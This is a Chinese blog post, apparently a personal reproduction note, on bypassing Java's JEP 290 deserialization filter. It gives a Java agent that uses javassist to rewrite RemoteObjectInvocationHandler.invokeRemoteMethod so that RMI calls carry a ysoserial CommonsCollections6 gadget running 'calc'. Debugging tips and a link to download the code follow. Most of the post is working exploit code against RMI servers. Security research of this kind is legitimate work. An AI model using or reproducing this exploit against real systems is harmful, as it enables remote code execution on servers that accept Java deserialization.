首页 > 编程语言 >rasp绕过jep290

rasp绕过jep290

时间:2022-10-06 13:12:00浏览次数:82  
标签:java jep290 Object class rasp new import 绕过 Class

原文出自:https://www.anquanke.com/post/id/200860

笔者简单记录一下中途遇到的坑吧 简单记录不具参考,作者是使用asm框架来的。笔者不太会所以直接使用了javassist来写。

agent

package rasp;

import java.lang.instrument.Instrumentation;

public class agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("first"+agentArgs);
        inst.addTransformer(new Hook_RemoteMethod());
    }
}

Hook_RemoteMethod

package rasp;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hook_RemoteMethod implements ClassFileTransformer{
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if ("java/rmi/server/RemoteObjectInvocationHandler".equals(className)) {
            try {
                // 从ClassPool获得CtClass对象
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("java.rmi.server.RemoteObjectInvocationHandler");
                CtMethod convertToAbbr = clazz.getDeclaredMethod("invokeRemoteMethod");
                String methodBody = "{System.out.println(\"this is invokemethod?\");\n" +
                        "Class aClass = Class.forName(\"ysoserial.payloads.CommonsCollections6\",true,ClassLoader.getSystemClassLoader());\n" +
                        "Object o = aClass.newInstance();\n" +
                        "Object getObject = aClass.getMethod(\"getObject\", new Class[]{String.class}).invoke(o, new Object[]{\"calc\"});\n" +
                        "java.lang.Object[] objects = new Object[1];\n" +
                        "objects[0]=getObject;\n" +
                        "return ref.invoke((java.rmi.Remote) $1, $2,objects,getMethodHash($2));}";
                convertToAbbr.setBody(methodBody);

                // 返回字节码,并且detachCtClass对象
                byte[] byteCode = clazz.toBytecode();
                //detach的意思是将内存中曾经被javassist加载过的对象移除,如果下次有需要在内存中找不到会重新走javassist加载
                clazz.detach();
                return byteCode;
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        // 如果返回null则字节码不会被修改
        return null;
        // 如果返回null则字节码不会被修改
    }
}

  • Class.forName是需要指定ClassLoader的。不然为NULL
  • [source error] no such class Method错误是需要制定全限定名称
  • javassit是不支持可变参数传参 not found in java.lang.Class 异常 修改如下代码即可
getDeclaredMethod("defineClass",byte[].class,Integer.TYPE, Integer.TYPE);
修改如下:
getDeclaredMethod("defineClass", new Class[]{byte[].class,Integer.TYPE, Integer.TYPE});

invoke(ClassLoader.getSystemClassLoader(), classBytes,0,classBytes.length);
修改如下
invoke(ClassLoader.getSystemClassLoader(), new Object[]{classBytes,0,classBytes.length});

虽然报错也是没有任何问题的。把yso.jar添加依赖即可使用。

点我代码下载

标签:java,jep290,Object,class,rasp,new,import,绕过,Class
From: https://www.cnblogs.com/R0ser1/p/16757433.html

相关文章

  • P7619 [COCI2011-2012#2] RASPORED
    此题解使用平衡树解决。1、原始情况首先,我们考虑未修改的情况。设\(L_i\)为吃饭时间,\(a_i\)为制作所需时间。对于\(n\)个居民,假设我们不对做披萨的顺序进行修改,即按......
  • MySQL注入的几种绕过方式
        在平时进行MySQL注入的过程当中,有时会遇到过滤关键字的情况,这篇文章就介绍绕过几种过滤关键字的方式。    绕过过滤and和or    打开sqli的......
  • sqlmap绕过token保护
    1、演示页面<?phpsession_start();if(isset($_SESSION['token'])&&isset($_POST['username'])){if(empty($_POST['token'])||$_POST['token']!=$_SESSION['token']){......
  • 图形校验码绕过的几个小技巧
    1、重复发送数据包,观察图形验证码是否可重复利用2、如果登录报错会有弹框提示,在不关闭弹窗情况下,在burp中重复发送数据包3、删除图形验证码参数4、将图形验证码参数值置空5......
  • WAF绕过小技巧
    一、WAF绕过1、脏数据绕过即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。例如,当发现某网站存在一个反序列化......
  • 绕过TMP限制安装Win11的方法
    首先下载一个Windows11安装免TPM2.0补丁,按照文中所示的方法替换镜像中的文件。如果还有错误提示的话,再加一个注册表设置:WindowsRegistryEditorVersion5.00[HKEY_LOCA......
  • raspberry pi mount a usb drive tutorial
    #fdiskisatooltomanagedisksonLinux#thiswilldisplayalldisks#Attheendofthedisplayinglines,youwillseeyourusbdrive,checkthefilesyste......
  • 13.1 反射 13.2selenium键盘事件13.3文件上传13.4滚动条操作 13.5鼠标事件13.6验证码
    13.1反射#什么是反射?#如果有一个变量名,是字符串的数据类型,你能获取到这个变量的值吗?#反射方法:classStudent:def__init__(self):self.name='张三'......
  • URL重定向及绕过方法
    1概述URL重定向漏洞也称URL任意跳转漏洞,是由于网站信任了用户的输入导致恶意跳转。URL重定向主要用来钓鱼,比如URL跳转中最常见的跳转在登录口、支付口,也就是一旦登录将会......
  • 绕过国内域名备案
    情景:现有域名jsw.top,云服务器1台均在阿里云下。域名jsw.top、www.jsw.topCNAME解析到阿里云OSS的记录值(阿里云OSS会要求备案,导致无法使用),而jsw.top,blog.jsw.top,bijian.......